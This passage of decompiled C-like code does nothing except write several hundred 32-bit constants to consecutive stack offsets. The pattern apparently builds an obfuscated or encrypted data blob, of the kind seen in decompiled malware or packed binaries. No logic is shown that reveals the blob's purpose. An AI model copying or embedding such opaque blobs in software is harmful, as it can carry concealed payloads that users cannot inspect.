				 *((intOrPtr*)(_t2749 - 0x34)) = 0xff06fc14;
				 *((intOrPtr*)(_t2749 - 0x30)) = 0xef33a307;
				 *((intOrPtr*)(_t2749 - 0x2c)) = 0xdb110b76;
				 *((intOrPtr*)(_t2749 - 0x28)) = 0xcb4e1329;
				 *((intOrPtr*)(_t2749 - 0x24)) = 0x4f7a1712;
				 *((intOrPtr*)(_t2749 - 0x20)) = 0x6c2415bc;
				 *((intOrPtr*)(_t2749 - 0x1c)) = 0x274d07b0;
				 *((intOrPtr*)(_t2749 - 0x18)) = 0x9e455d66;
				 *((intOrPtr*)(_t2749 - 0x14)) = 0x6c527d17;
				 *((intOrPtr*)(_t2749 - 0x10)) = 0x15f4562e;
				 *((intOrPtr*)(_t2749 - 0xc)) = 0x3251063d;
				 *((intOrPtr*)(_t2749 - 8)) = 0x5907b042;
				 *((intOrPtr*)(_t2749 - 4)) = 0x4557667b;
				 *_t2749 = 0x5b71179e;
				 *((intOrPtr*)(_t2749 + 4)) = 0xf4562e6c;
				 *((intOrPtr*)(_t2749 + 8)) = 0x513401d5;
				 *((intOrPtr*)(_t2749 + 0xc)) = 0x271b1100;
				 *((intOrPtr*)(_t2749 + 0x10)) = 0x1fe39324;
				 *((intOrPtr*)(_t2749 + 0x14)) = 0x1d525944;
				 *((intOrPtr*)(_t2749 + 0x18)) = 0x1e6628f0;
				 *((intOrPtr*)(_t2749 + 0x1c)) = 0x51483f7f;
				 *((intOrPtr*)(_t2749 + 0x20)) = 0x3b664496;
				 *((intOrPtr*)(_t2749 + 0x24)) = 0x1437280e;
				 *((intOrPtr*)(_t2749 + 0x28)) = 0x27d01f4;
				 *((intOrPtr*)(_t2749 + 0x2c)) = 0x315450c;
				 *((intOrPtr*)(_t2749 + 0x30)) = 0x11747791;
				 *((intOrPtr*)(_t2749 + 0x34)) = 0x36723863;
				 *((intOrPtr*)(_t2749 + 0x38)) = 0x696506b0;
				 *((intOrPtr*)(_t2749 + 0x3c)) = 0x18295213;
				 *((intOrPtr*)(_t2749 + 0x40)) = 0x2c132995;
				 *((intOrPtr*)(_t2749 + 0x44)) = 0x335c3a2e;
				 *((intOrPtr*)(_t2749 + 0x48)) = 0x56d970ee;
				 *((intOrPtr*)(_t2749 + 0x4c)) = 0x8636052b;
				 *((intOrPtr*)(_t2749 + 0x50)) = 0x2446ea10;
				 *((intOrPtr*)(_t2749 + 0x54)) = 0x72aa0235;
				 *((intOrPtr*)(_t2749 + 0x58)) = 0x473930fc;
				 *((intOrPtr*)(_t2749 + 0x5c)) = 0x14f24f35;
				 *((intOrPtr*)(_t2749 + 0x60)) = 0x85032194;
				 *((intOrPtr*)(_t2749 + 0x64)) = 0x5f20bd04;
				 *((intOrPtr*)(_t2749 + 0x68)) = 0x28952a30;
				 *((intOrPtr*)(_t2749 + 0x6c)) = 0x380b04db;
				 *((intOrPtr*)(_t2749 + 0x70)) = 0xc56c9740;
				 *((intOrPtr*)(_t2749 + 0x74)) = 0x14377225;
				 *((intOrPtr*)(_t2749 + 0x78)) = 0x12a10485;
				 *((intOrPtr*)(_t2749 + 0x7c)) = 0x95372a5a;
				 *((intOrPtr*)(_t2749 + 0x80)) = 0x232fcf28;
				 *((intOrPtr*)(_t2749 + 0x84)) = 0x6c975b35;
				 *((intOrPtr*)(_t2749 + 0x88)) = 0x3665168d;
				 *((intOrPtr*)(_t2749 + 0x8c)) = 0xe9048539;
				 *((intOrPtr*)(_t2749 + 0x90)) = 0x2f2c4707;
				 *((intOrPtr*)(_t2749 + 0x94)) = 0x9f72895;
				 *((intOrPtr*)(_t2749 + 0x98)) = 0x97402f11;
				 *((intOrPtr*)(_t2749 + 0x9c)) = 0x6525f16c;
				 *((intOrPtr*)(_t2749 + 0xa0)) = 0x86243e2f;
				 *((intOrPtr*)(_t2749 + 0xa4)) = 0x235dae10;
				 *((intOrPtr*)(_t2749 + 0xa8)) = 0x58a7179f;
				 *((intOrPtr*)(_t2749 + 0xac)) = 0x618607ab;
				 *((intOrPtr*)(_t2749 + 0xb0)) = 0x96744524;
				 *((intOrPtr*)(_t2749 + 0xb4)) = 0x26139645;
				 *((intOrPtr*)(_t2749 + 0xb8)) = 0x76a12007;
				 *((intOrPtr*)(_t2749 + 0xbc)) = 0x1931379d;
				 *((intOrPtr*)(_t2749 + 0xc0)) = 0x8a07ab5e;
				 *((intOrPtr*)(_t2749 + 0xc4)) = 0x547d3e5c;
				 *((intOrPtr*)(_t2749 + 0xc8)) = 0x9707c737;
				 *((intOrPtr*)(_t2749 + 0xcc)) = 0x43bd2d20;
				 *((intOrPtr*)(_t2749 + 0xd0)) = 0xeb59453a;
				 *((intOrPtr*)(_t2749 + 0xd4)) = 0x1cb576d8;
				 *((intOrPtr*)(_t2749 + 0xd8)) = 0xc188b81e;
				 *((intOrPtr*)(_t2749 + 0xdc)) = 0x4200582d;
				 *((intOrPtr*)(_t2749 + 0xe0)) = 0x92a1c93b;
				 *((intOrPtr*)(_t2749 + 0xe4)) = 0x595d7323;
				 *((intOrPtr*)(_t2749 + 0xe8)) = 0xe17f6d4a;
				 *((intOrPtr*)(_t2749 + 0xec)) = 0x82005e07;
				 *((intOrPtr*)(_t2749 + 0xf0)) = 0x241db865;
				 *((intOrPtr*)(_t2749 + 0xf4)) = 0x4cb3f72;
				 *((intOrPtr*)(_t2749 + 0xf8)) = 0xbe2a1d;
				 *((intOrPtr*)(_t2749 + 0xfc)) = 0xc8a46119;
				 *((intOrPtr*)(_t2749 + 0x100)) = 0x7fdd0abf;
				 *((intOrPtr*)(_t2749 + 0x104)) = 0xdc7d1974;
				 *((intOrPtr*)(_t2749 + 0x108)) = 0xa4f6644;
				 *((intOrPtr*)(_t2749 + 0x10c)) = 0x1b4211c8;
				 *((intOrPtr*)(_t2749 + 0x110)) = 0x6d1fd409;
				 *((intOrPtr*)(_t2749 + 0x114)) = 0x766628f0;
				 *((intOrPtr*)(_t2749 + 0x118)) = 0x3525503f;
				 *((intOrPtr*)(_t2749 + 0x11c)) = 0x53168d19;
				 *((intOrPtr*)(_t2749 + 0x120)) = 0xa6660462;
				 *((intOrPtr*)(_t2749 + 0x124)) = 0x1a8dba72;
				 *((intOrPtr*)(_t2749 + 0x128)) = 0x72487be6;
				 *((intOrPtr*)(_t2749 + 0x12c)) = 0xa115be1e;
				 *((intOrPtr*)(_t2749 + 0x130)) = 0xac06270;
				 *((intOrPtr*)(_t2749 + 0x134)) = 0x7d6506fe;
				 *((intOrPtr*)(_t2749 + 0x138)) = 0x6908be2a;
				 *((intOrPtr*)(_t2749 + 0x13c)) = 0x4c132995;
				 *((intOrPtr*)(_t2749 + 0x140)) = 0x503d564c;
				 *((intOrPtr*)(_t2749 + 0x144)) = 0x2405b861;
				 *((intOrPtr*)(_t2749 + 0x148)) = 0x95bd3662;
				 *((intOrPtr*)(_t2749 + 0x14c)) = 0x617fed1d;
				 *((intOrPtr*)(_t2749 + 0x150)) = 0x72e01a69;
				 *((intOrPtr*)(_t2749 + 0x154)) = 0xf3650784;
				 *((intOrPtr*)(_t2749 + 0x158)) = 0x7571a018;
				 *((intOrPtr*)(_t2749 + 0x15c)) = 0xffa0e28;
				 *((intOrPtr*)(_t2749 + 0x160)) = 0x17229279;
				 *((intOrPtr*)(_t2749 + 0x164)) = 0x78524c65;
				 *((intOrPtr*)(_t2749 + 0x168)) = 0x2cf2437;
				 *((intOrPtr*)(_t2749 + 0x16c)) = 0xca687017;
				 *((intOrPtr*)(_t2749 + 0x170)) = 0x3bc94885;
				 *((intOrPtr*)(_t2749 + 0x174)) = 0xeb1d7166;
				 *((intOrPtr*)(_t2749 + 0x178)) = 0x611cfd76;
				 *((intOrPtr*)(_t2749 + 0x17c)) = 0x6e57fad;
				 *((intOrPtr*)(_t2749 + 0x180)) = 0xa41c1b72;
				 *((intOrPtr*)(_t2749 + 0x184)) = 0x6c72978;
				 *((intOrPtr*)(_t2749 + 0x188)) = 0x55526253;
				 *((intOrPtr*)(_t2749 + 0x18c)) = 0xd40d3375;
				 *((intOrPtr*)(_t2749 + 0x190)) = 0x2d174906;
				 *((intOrPtr*)(_t2749 + 0x194)) = 0xdb7b82bd;
				 *((intOrPtr*)(_t2749 + 0x198)) = 0x48611165;
				 *((intOrPtr*)(_t2749 + 0x19c)) = 0x406af2cf;
				 *((intOrPtr*)(_t2749 + 0x1a0)) = 0x76766655;
				 *((intOrPtr*)(_t2749 + 0x1a4)) = 0x73e41a99;
				 *((intOrPtr*)(_t2749 + 0x1a8)) = 0xbe1a6a48;
				 *((intOrPtr*)(_t2749 + 0x1ac)) = 0x15f2091d;
				 *((intOrPtr*)(_t2749 + 0x1b0)) = 0x42726224;
				 *((intOrPtr*)(_t2749 + 0x1b4)) = 0xbe2e5544;
				 *((intOrPtr*)(_t2749 + 0x1b8)) = 0x2c727d11;
				 *((intOrPtr*)(_t2749 + 0x1bc)) = 0xdd0ab8c8;
				 *((intOrPtr*)(_t2749 + 0x1c0)) = 0x7d19747f;
				 *((intOrPtr*)(_t2749 + 0x1c4)) = 0x329245dc;
				 *((intOrPtr*)(_t2749 + 0x1c8)) = 0xef1d8171;
				 *((intOrPtr*)(_t2749 + 0x1cc)) = 0x1e716177;
				 *((intOrPtr*)(_t2749 + 0x1d0)) = 0x42ecbae0;
				 *((intOrPtr*)(_t2749 + 0x1d4)) = 0x6d973356;
				 *((intOrPtr*)(_t2749 + 0x1d8)) = 0x42137111;
				 *((intOrPtr*)(_t2749 + 0x1dc)) = 0xd8094264;
				 *((intOrPtr*)(_t2749 + 0x1e0)) = 0x18651732;
				 *((intOrPtr*)(_t2749 + 0x1e4)) = 0xe77fb9ad;
				 *((intOrPtr*)(_t2749 + 0x1e8)) = 0x1803720e;
				 *((intOrPtr*)(_t2749 + 0x1ec)) = 0x487571a4;
				 *((intOrPtr*)(_t2749 + 0x1f0)) = 0x9824407;
				 *((intOrPtr*)(_t2749 + 0x1f4)) = 0x6d1722dc;
				 *((intOrPtr*)(_t2749 + 0x1f8)) = 0x1f20df15;
				 *((intOrPtr*)(_t2749 + 0x1fc)) = 0x137206ab;
				 *((intOrPtr*)(_t2749 + 0x200)) = 0x5139295c;
				 *((intOrPtr*)(_t2749 + 0x204)) = 0x6623cf48;
				 *((intOrPtr*)(_t2749 + 0x208)) = 0xe7991461;
				 *((intOrPtr*)(_t2749 + 0x20c)) = 0x491ed20d;
				 *((intOrPtr*)(_t2749 + 0x210)) = 0x13cf2407;
				 *((intOrPtr*)(_t2749 + 0x214)) = 0xca1a15ab;
				 *((intOrPtr*)(_t2749 + 0x218)) = 0x53068919;
				 *((intOrPtr*)(_t2749 + 0x21c)) = 0xa666046a;
				 *((intOrPtr*)(_t2749 + 0x220)) = 0x14c100f4;
				 *((intOrPtr*)(_t2749 + 0x224)) = 0xe085904;
				 *((intOrPtr*)(_t2749 + 0x228)) = 0xee007edb;
				 *((intOrPtr*)(_t2749 + 0x22c)) = 0x2752cd70;
				 *((intOrPtr*)(_t2749 + 0x230)) = 0xd8092d04;
				 *((intOrPtr*)(_t2749 + 0x234)) = 0x9e651732;
				 *((intOrPtr*)(_t2749 + 0x238)) = 0x1e42cd17;
				 *((intOrPtr*)(_t2749 + 0x23c)) = 0x97553321;
				 *((intOrPtr*)(_t2749 + 0x240)) = 0x6916c;
				 *((intOrPtr*)(_t2749 + 0x244)) = 0x19663385;
				 *((intOrPtr*)(_t2749 + 0x248)) = 0x21520919;
				 *((intOrPtr*)(_t2749 + 0x24c)) = 0x6b49169e;
				 *((intOrPtr*)(_t2749 + 0x250)) = 0x5c25273e;
				 *((intOrPtr*)(_t2749 + 0x254)) = 0x31116d97;
				 *((intOrPtr*)(_t2749 + 0x258)) = 0x27143075;
				 *((intOrPtr*)(_t2749 + 0x25c)) = 0x171add05;
				 *((intOrPtr*)(_t2749 + 0x260)) = 0xc5179e21;
				 *((intOrPtr*)(_t2749 + 0x264)) = 0x33380564;
				 *((intOrPtr*)(_t2749 + 0x268)) = 0x5a8515f4;
				 *((intOrPtr*)(_t2749 + 0x26c)) = 0xb0275237;
				 *((intOrPtr*)(_t2749 + 0x270)) = 0x926f107;
				 *((intOrPtr*)(_t2749 + 0x274)) = 0x953f3746;
				 *((intOrPtr*)(_t2749 + 0x278)) = 0x270f8328;
				 *((intOrPtr*)(_t2749 + 0x27c)) = 0x9f2dbb12;
				 *((intOrPtr*)(_t2749 + 0x280)) = 0x2a2415f2;
				 *((intOrPtr*)(_t2749 + 0x284)) = 0x3e222d3b;
				 *((intOrPtr*)(_t2749 + 0x288)) = 0x356177a1;
				 *((intOrPtr*)(_t2749 + 0x28c)) = 0x3440800;
				 *((intOrPtr*)(_t2749 + 0x290)) = 0x20171285;
				 *((intOrPtr*)(_t2749 + 0x294)) = 0x6532475c;
				 *((intOrPtr*)(_t2749 + 0x298)) = 0x653eff06;
				 *((intOrPtr*)(_t2749 + 0x29c)) = 0x6177a121;
				 *((intOrPtr*)(_t2749 + 0x2a0)) = 0x521f1421;
				 *((intOrPtr*)(_t2749 + 0x2a4)) = 0x17128509;
				 *((intOrPtr*)(_t2749 + 0x2a8)) = 0x22507b2c;
				 *((intOrPtr*)(_t2749 + 0x2ac)) = 0xc232856f;
				 *((intOrPtr*)(_t2749 + 0x2b0)) = 0x56052734;
				 *((intOrPtr*)(_t2749 + 0x2b4)) = 0xe92fd101;
				 *((intOrPtr*)(_t2749 + 0x2b8)) = 0x766628f0;
				 *((intOrPtr*)(_t2749 + 0x2bc)) = 0x3527503d;
				 *((intOrPtr*)(_t2749 + 0x2c0)) = 0x3f96ff10;
				 *((intOrPtr*)(_t2749 + 0x2c4)) = 0x3e7105cf;
				 *((intOrPtr*)(_t2749 + 0x2c8)) = 0x727d01f4;
				 *((intOrPtr*)(_t2749 + 0x2cc)) = 0x42613760;
				 *((intOrPtr*)(_t2749 + 0x2d0)) = 0xd1cb81e;
				 *((intOrPtr*)(_t2749 + 0x2d4)) = 0xf8d1d05;
				 *((intOrPtr*)(_t2749 + 0x2d8)) = 0x9572072f;
				 *((intOrPtr*)(_t2749 + 0x2dc)) = 0x7d01ba2e;
				 *((intOrPtr*)(_t2749 + 0x2e0)) = 0x38ba257a;
				 *((intOrPtr*)(_t2749 + 0x2e4)) = 0xaf727666;
				 *((intOrPtr*)(_t2749 + 0x2e8)) = 0x4cda7dfd;
				 *((intOrPtr*)(_t2749 + 0x2ec)) = 0xcc0a4766;
				 *((intOrPtr*)(_t2749 + 0x2f0)) = 0x7676ce10;
				 *((intOrPtr*)(_t2749 + 0x2f4)) = 0x73e41a99;
				 *((intOrPtr*)(_t2749 + 0x2f8)) = 0xbe1a6a48;
				 *((intOrPtr*)(_t2749 + 0x2fc)) = 0x15f2491d;
				 *((intOrPtr*)(_t2749 + 0x300)) = 0x42786224;
				 *((intOrPtr*)(_t2749 + 0x304)) = 0xbe2e554e;
				 *((intOrPtr*)(_t2749 + 0x308)) = 0x2c727d11;
				 *((intOrPtr*)(_t2749 + 0x30c)) = 0xdd0ab8c8;
				 *((intOrPtr*)(_t2749 + 0x310)) = 0x7d19747f;
				 *((intOrPtr*)(_t2749 + 0x314)) = 0x1f6644dc;
				 *((intOrPtr*)(_t2749 + 0x318)) = 0x2e957207;
				 *((intOrPtr*)(_t2749 + 0x31c)) = 0x7a7d01ba;
				 *((intOrPtr*)(_t2749 + 0x320)) = 0x2a21ba21;
				 *((intOrPtr*)(_t2749 + 0x324)) = 0x9747791;
				 *((intOrPtr*)(_t2749 + 0x328)) = 0x420d5138;
				 *((intOrPtr*)(_t2749 + 0x32c)) = 0x7115cf3f;
				 *((intOrPtr*)(_t2749 + 0x330)) = 0x8dba7246;
				 *((intOrPtr*)(_t2749 + 0x334)) = 0x487be61a;
				 *((intOrPtr*)(_t2749 + 0x338)) = 0x14be1e72;
				 *((intOrPtr*)(_t2749 + 0x33c)) = 0x33144d0d;
				 *((intOrPtr*)(_t2749 + 0x340)) = 0x5cb3f82;
				 *((intOrPtr*)(_t2749 + 0x344)) = 0xc87f4e71;
				 *((intOrPtr*)(_t2749 + 0x348)) = 0x73aa2214;
				 *((intOrPtr*)(_t2749 + 0x34c)) = 0x335b6248;
				 *((intOrPtr*)(_t2749 + 0x350)) = 0xdc7d295d;
				 *((intOrPtr*)(_t2749 + 0x354)) = 0x3576654;
				 *((intOrPtr*)(_t2749 + 0x358)) = 0x3c2381be;
				 *((intOrPtr*)(_t2749 + 0x35c)) = 0x2c721cf2;
				 *((intOrPtr*)(_t2749 + 0x360)) = 0x4e17db38;
				 *((intOrPtr*)(_t2749 + 0x364)) = 0x3564db7a;
				 *((intOrPtr*)(_t2749 + 0x368)) = 0x3e1255ae;
				 *((intOrPtr*)(_t2749 + 0x36c)) = 0x2e550cc9;
				 *((intOrPtr*)(_t2749 + 0x370)) = 0xd91195b8;
				 *((intOrPtr*)(_t2749 + 0x374)) = 0x1a39c8b5;
				 *((intOrPtr*)(_t2749 + 0x378)) = 0x291db81f;
				 *((intOrPtr*)(_t2749 + 0x37c)) = 0xad3da7d;
				 *((intOrPtr*)(_t2749 + 0x380)) = 0xbebafc;
				 *((intOrPtr*)(_t2749 + 0x384)) = 0x96ce7b06;
				 *((intOrPtr*)(_t2749 + 0x388)) = 0x93c7e616;
				 *((intOrPtr*)(_t2749 + 0x38c)) = 0xdb723e17;
				 *((intOrPtr*)(_t2749 + 0x390)) = 0x4fdc70ff;
				 *((intOrPtr*)(_t2749 + 0x394)) = 0x8b4402;
				 *((intOrPtr*)(_t2749 + 0x398)) = 0x450366ed;
				 *((intOrPtr*)(_t2749 + 0x39c)) = 0xefe61a59;
				 *((intOrPtr*)(_t2749 + 0x3a0)) = 0x76561793;
				 *((intOrPtr*)(_t2749 + 0x3a4)) = 0x19347edd;
				 *((intOrPtr*)(_t2749 + 0x3a8)) = 0xc932b28b;
				 *((intOrPtr*)(_t2749 + 0x3ac)) = 0xc5e3108e;
				 *((intOrPtr*)(_t2749 + 0x3b0)) = 0xe61e7131;
				 *((intOrPtr*)(_t2749 + 0x3b4)) = 0x8e6924f7;
				 *((intOrPtr*)(_t2749 + 0x3b8)) = 0x6e8337a;
				 *((intOrPtr*)(_t2749 + 0x3bc)) = 0x2b54983;
				 *((intOrPtr*)(_t2749 + 0x3c0)) = 0x23de0852;
				 *((intOrPtr*)(_t2749 + 0x3c4)) = 0x985a003b;
				 *((intOrPtr*)(_t2749 + 0x3c8)) = 0x6e3be7;
				 *((intOrPtr*)(_t2749 + 0x3cc)) = 0x68533f64;
				 *((intOrPtr*)(_t2749 + 0x3d0)) = 0x414d59bd;
				 *((intOrPtr*)(_t2749 + 0x3d4)) = 0x9b7a07b5;
				 *((intOrPtr*)(_t2749 + 0x3d8)) = 0xd20ded14;
				 *((intOrPtr*)(_t2749 + 0x3dc)) = 0x1c62929d;
				 *((intOrPtr*)(_t2749 + 0x3e0)) = 0x504e6f0e;
				 *((intOrPtr*)(_t2749 + 0x3e4)) = 0x5a6b126;
				 *((intOrPtr*)(_t2749 + 0x3e8)) = 0x780e7742;
				 *((intOrPtr*)(_t2749 + 0x3ec)) = 0xc13c5628;
				 *((intOrPtr*)(_t2749 + 0x3f0)) = 0x376d57b4;
				 *((intOrPtr*)(_t2749 + 0x3f4)) = 0x132b7b20;
				 *((intOrPtr*)(_t2749 + 0x3f8)) = 0x54d6ad5f;
				 *((intOrPtr*)(_t2749 + 0x3fc)) = 0x7b3b4200;
				 *((intOrPtr*)(_t2749 + 0x400)) = 0xb7696d3c;
				 *((intOrPtr*)(_t2749 + 0x404)) = 0x6d525c9c;
				 *((intOrPtr*)(_t2749 + 0x408)) = 0x2e0fe77b;
				 *((intOrPtr*)(_t2749 + 0x40c)) = 0x3ae0d57e;
				 *((intOrPtr*)(_t2749 + 0x410)) = 0x7747ccd5;
				 *((intOrPtr*)(_t2749 + 0x414)) = 0x18360942;
				 *((intOrPtr*)(_t2749 + 0x418)) = 0xac5a0d0f;
				 *((intOrPtr*)(_t2749 + 0x41c)) = 0x73c08ec;
				 *((intOrPtr*)(_t2749 + 0x420)) = 0xac5f3356;
				 *((intOrPtr*)(_t2749 + 0x424)) = 0x4200548c;
				 *((intOrPtr*)(_t2749 + 0x428)) = 0x55c726cf;
				 *((intOrPtr*)(_t2749 + 0x42c)) = 0x1e7c5566;
				 *((intOrPtr*)(_t2749 + 0x430)) = 0xc6b26256;
				 *((intOrPtr*)(_t2749 + 0x434)) = 0x14335647;
				 *((intOrPtr*)(_t2749 + 0x438)) = 0x416972a2;
				 *((intOrPtr*)(_t2749 + 0x43c)) = 0x414276f9;
				 *((intOrPtr*)(_t2749 + 0x440)) = 0x86b72355;
				 *((intOrPtr*)(_t2749 + 0x444)) = 0x32fad756;
				 *((intOrPtr*)(_t2749 + 0x448)) = 0x8459426c;
				 *((intOrPtr*)(_t2749 + 0x44c)) = 0xda742f17;
				 *((intOrPtr*)(_t2749 + 0x450)) = 0xdc04ddf;
				 *((intOrPtr*)(_t2749 + 0x454)) = 0x47a6d055;
				 *((intOrPtr*)(_t2749 + 0x458)) = 0xacd1116d;
				 *((intOrPtr*)(_t2749 + 0x45c)) = 0x86c92813;
				 *((intOrPtr*)(_t2749 + 0x460)) = 0xbee6537b;
				 *((intOrPtr*)(_t2749 + 0x464)) = 0xa5c70400;
				 *((intOrPtr*)(_t2749 + 0x468)) = 0x77de4637;
				 *((intOrPtr*)(_t2749 + 0x46c)) = 0xb9894672;
				 *((intOrPtr*)(_t2749 + 0x470)) = 0x797d346f;
				 *((intOrPtr*)(_t2749 + 0x474)) = 0xf3173c85;
				 *((intOrPtr*)(_t2749 + 0x478)) = 0x6ac1d27d;
				 *((intOrPtr*)(_t2749 + 0x47c)) = 0x2092693a;
				 *((intOrPtr*)(_t2749 + 0x480)) = 0xd4c87b84;
				 *((intOrPtr*)(_t2749 + 0x484)) = 0x6c376dc2;
				 *((intOrPtr*)(_t2749 + 0x488)) = 0xdbe2a903;
				 *((intOrPtr*)(_t2749 + 0x48c)) = 0x51a1bc;
				 *((intOrPtr*)(_t2749 + 0x490)) = 0x33cf3342;
				 *((intOrPtr*)(_t2749 + 0x494)) = 0x323022aa;
				 *((intOrPtr*)(_t2749 + 0x498)) = 0xc82fdf09;
				 *((intOrPtr*)(_t2749 + 0x49c)) = 0xbe1e929b;
				 *((intOrPtr*)(_t2749 + 0x4a0)) = 0x7271d61a;
				 *((intOrPtr*)(_t2749 + 0x4a4)) = 0xab4c9f0;
				 *((intOrPtr*)(_t2749 + 0x4a8)) = 0xbe2e9d42;
				 *((intOrPtr*)(_t2749 + 0x4ac)) = 0x9a1aa607;
				 *((intOrPtr*)(_t2749 + 0x4b0)) = 0x9e6124e7;
				 *((intOrPtr*)(_t2749 + 0x4b4)) = 0x3ad86b7f;
				 *((intOrPtr*)(_t2749 + 0x4b8)) = 0x774724d4;
				 *((intOrPtr*)(_t2749 + 0x4bc)) = 0x29de0942;
				 *((intOrPtr*)(_t2749 + 0x4c0)) = 0x56e00403;
				 *((intOrPtr*)(_t2749 + 0x4c4)) = 0x36c376d;
				 *((intOrPtr*)(_t2749 + 0x4c8)) = 0x296033ee;
				 *((intOrPtr*)(_t2749 + 0x4cc)) = 0x948b1035;
				 *((intOrPtr*)(_t2749 + 0x4d0)) = 0x1d411788;
				 *((intOrPtr*)(_t2749 + 0x4d4)) = 0xdc0debed;
				 *((intOrPtr*)(_t2749 + 0x4d8)) = 0x28221892;
				 *((intOrPtr*)(_t2749 + 0x4dc)) = 0x11371ecf;
				 *((intOrPtr*)(_t2749 + 0x4e0)) = 0x613591;
				 *((intOrPtr*)(_t2749 + 0x4e4)) = 0x97c93642;
				 *((intOrPtr*)(_t2749 + 0x4e8)) = 0x10ccaf66;
				 *((intOrPtr*)(_t2749 + 0x4ec)) = 0xefe61a59;
				 *((intOrPtr*)(_t2749 + 0x4f0)) = 0x726a04e7;
				 *((intOrPtr*)(_t2749 + 0x4f4)) = 0x513528ee;
				 *((intOrPtr*)(_t2749 + 0x4f8)) = 0x7e34cb00;
				 *((intOrPtr*)(_t2749 + 0x4fc)) = 0x85a03ca;
				 *((intOrPtr*)(_t2749 + 0x500)) = 0x60210d12;
				 *((intOrPtr*)(_t2749 + 0x504)) = 0x5503a6bc;
				 *((intOrPtr*)(_t2749 + 0x508)) = 0x42ddae5;
				 *((intOrPtr*)(_t2749 + 0x50c)) = 0x9c5b04d9;
				 *((intOrPtr*)(_t2749 + 0x510)) = 0x1d3609ac;
				 *((intOrPtr*)(_t2749 + 0x514)) = 0x85d2000f;
				 *((intOrPtr*)(_t2749 + 0x518)) = 0xa973425;
				 *((intOrPtr*)(_t2749 + 0x51c)) = 0x29d88edf;
				 *((intOrPtr*)(_t2749 + 0x520)) = 0xf50f5135;
				 *((intOrPtr*)(_t2749 + 0x524)) = 0x11275630;
				 *((intOrPtr*)(_t2749 + 0x528)) = 0x2a434c5d;
				 *((intOrPtr*)(_t2749 + 0x52c)) = 0x2bba216c;
				 *((intOrPtr*)(_t2749 + 0x530)) = 0x90301a6a;
				 *((intOrPtr*)(_t2749 + 0x534)) = 0x459ebe6c;
				 *((intOrPtr*)(_t2749 + 0x538)) = 0x5e344f7b;
				 *((intOrPtr*)(_t2749 + 0x53c)) = 0x4163ed14;
				 *((intOrPtr*)(_t2749 + 0x540)) = 0xcb25d918;
				 *((intOrPtr*)(_t2749 + 0x544)) = 0x7697c92d;
				 *((intOrPtr*)(_t2749 + 0x548)) = 0x527de753;
				 *((intOrPtr*)(_t2749 + 0x54c)) = 0x92740ac8;
				 *((intOrPtr*)(_t2749 + 0x550)) = 0xbb5451cb;
				 *((intOrPtr*)(_t2749 + 0x554)) = 0x56174041;
				 *((intOrPtr*)(_t2749 + 0x558)) = 0x59a31e3f;
				 *((intOrPtr*)(_t2749 + 0x55c)) = 0x702f1784;
				 *((intOrPtr*)(_t2749 + 0x560)) = 0xf40bd652;
				 *((intOrPtr*)(_t2749 + 0x564)) = 0x5d116982;
				 *((intOrPtr*)(_t2749 + 0x568)) = 0x1e9037e3;
				 *((intOrPtr*)(_t2749 + 0x56c)) = 0x6920e4e6;
				 *((intOrPtr*)(_t2749 + 0x570)) = 0xad5f0301;
				 *((intOrPtr*)(_t2749 + 0x574)) = 0x42005186;
				 *((intOrPtr*)(_t2749 + 0x578)) = 0xe1fe7b33;
				 *((intOrPtr*)(_t2749 + 0x57c)) = 0x56453366;
				 *((intOrPtr*)(_t2749 + 0x580)) = 0x6c37cbd6;
				 *((intOrPtr*)(_t2749 + 0x584)) = 0xd7b81242;
				 *((intOrPtr*)(_t2749 + 0x588)) = 0x513599;
				 *((intOrPtr*)(_t2749 + 0x58c)) = 0x481740e;
				 *((intOrPtr*)(_t2749 + 0x590)) = 0xc13c5e6c;
				 *((intOrPtr*)(_t2749 + 0x594)) = 0x376d52ca;
				 *((intOrPtr*)(_t2749 + 0x598)) = 0x3ca9f92d;
				 *((intOrPtr*)(_t2749 + 0x59c)) = 0xec742950;
				 *((intOrPtr*)(_t2749 + 0x5a0)) = 0x42774202;
				 *((intOrPtr*)(_t2749 + 0x5a4)) = 0x3b2ed80c;
				 *((intOrPtr*)(_t2749 + 0x5a8)) = 0x62133fae;
				 *((intOrPtr*)(_t2749 + 0x5ac)) = 0xe14d6d80;
				 *((intOrPtr*)(_t2749 + 0x5b0)) = 0xdce836fb;
				 *((intOrPtr*)(_t2749 + 0x5b4)) = 0x8ec1665d;
				 *((intOrPtr*)(_t2749 + 0x5b8)) = 0x275a3448;
				 *((intOrPtr*)(_t2749 + 0x5bc)) = 0x71104db8;
				 *((intOrPtr*)(_t2749 + 0x5c0)) = 0x816f7fae;
				 *((intOrPtr*)(_t2749 + 0x5c4)) = 0x2844321a;
				 *((intOrPtr*)(_t2749 + 0x5c8)) = 0xc16612de;
				 *((intOrPtr*)(_t2749 + 0x5cc)) = 0x5934418e;
				 *((intOrPtr*)(_t2749 + 0x5d0)) = 0x1186102f;
				 *((intOrPtr*)(_t2749 + 0x5d4)) = 0x2d3461df;
				 *((intOrPtr*)(_t2749 + 0x5d8)) = 0x7ad894c9;
				 *((intOrPtr*)(_t2749 + 0x5dc)) = 0xce6a744f;
				 *((intOrPtr*)(_t2749 + 0x5e0)) = 0x620b6437;
				 *((intOrPtr*)(_t2749 + 0x5e4)) = 0x49be2e96;
				 *((intOrPtr*)(_t2749 + 0x5e8)) = 0xf5e61b5a;
				 *((intOrPtr*)(_t2749 + 0x5ec)) = 0x23be8324;
				 *((intOrPtr*)(_t2749 + 0x5f0)) = 0xbaf59e5f;
				 *((intOrPtr*)(_t2749 + 0x5f4)) = 0x79362411;
				 *((intOrPtr*)(_t2749 + 0x5f8)) = 0x7a74208c;
				 *((intOrPtr*)(_t2749 + 0x5fc)) = 0xe01a9a66;
				 *((intOrPtr*)(_t2749 + 0x600)) = 0x59036f3b;
				 *((intOrPtr*)(_t2749 + 0x604)) = 0xbe689284;
				 *((intOrPtr*)(_t2749 + 0x608)) = 0x73434841;
				 *((intOrPtr*)(_t2749 + 0x60c)) = 0xab560c48;
				 *((intOrPtr*)(_t2749 + 0x610)) = 0x5619ce72;
				 *((intOrPtr*)(_t2749 + 0x614)) = 0xeac3424;
				 *((intOrPtr*)(_t2749 + 0x618)) = 0xa725fb6d;
				 *((intOrPtr*)(_t2749 + 0x61c)) = 0x7c1da78;
				 *((intOrPtr*)(_t2749 + 0x620)) = 0xd5347b4e;
				 *((intOrPtr*)(_t2749 + 0x624)) = 0x49e8b82a;
				 *((intOrPtr*)(_t2749 + 0x628)) = 0x28376d53;
				 *((intOrPtr*)(_t2749 + 0x62c)) = 0x50a7e97b;
				 *((intOrPtr*)(_t2749 + 0x630)) = 0x845e3529;
